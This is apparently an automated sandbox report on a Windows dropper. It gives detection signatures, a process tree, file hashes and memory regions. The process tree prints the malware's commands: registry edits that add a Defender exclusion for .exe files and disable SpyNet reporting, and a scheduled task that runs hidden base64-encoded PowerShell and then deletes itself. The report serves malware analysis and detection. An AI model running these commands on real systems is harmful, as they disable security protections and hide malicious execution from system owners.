Analysis

  • max time kernel
    177s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2022, 04:26

General

  • Target
    file.exe
  • Size 7.3MB
  • Sample221127-e2hsyshg43
  • SHA256 7bc8f10ee2bfb248b2b70226b5c1d40d83afa2d0972958b1c1fd75350a2054b1
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:296
      • C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1784
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1384
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:896
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1624
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1856
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:1536
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1652
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gmDpFZYEK" /SC once /ST 02:09:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:828
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gmDpFZYEK"
                  4⤵
                    PID:572
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gmDpFZYEK"
                    4⤵
                      PID:944
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {870422B2-62FE-48EC-B91B-44254AFDE9D0} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]
                1⤵
                  PID:1376
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:960

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      Install.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSBC00.tmp\Install.exe
                      • Size 6.3MB
                      • SHA256 1b0d105973c2af004427be2b926dfe7ec52a478d22bc2954d1903cca9bdcd492
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      Install.exe

                      • Path \Users\Admin\AppData\Local\Temp\7zSD0E7.tmp\Install.exe
                      • Size 6.8MB
                      • SHA256 c25663a32cde89862789ce78b6bc8bb492a249ed2a9df63d991d388fd83a5ea3
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/960-95-0x000007FEFC191000-0x000007FEFC193000-memory.dmp

                      memory/960-101-0x0000000002334000-0x0000000002337000-memory.dmp

                      memory/960-97-0x000007FEF38F0000-0x000007FEF444D000-memory.dmp

                      memory/960-98-0x0000000002334000-0x0000000002337000-memory.dmp

                      memory/960-96-0x000007FEF4510000-0x000007FEF4F33000-memory.dmp

                      memory/1104-71-0x0000000010000000-0x00000000108F4000-memory.dmp

                      memory/1688-54-0x0000000075FF1000-0x0000000075FF3000-memory.dmp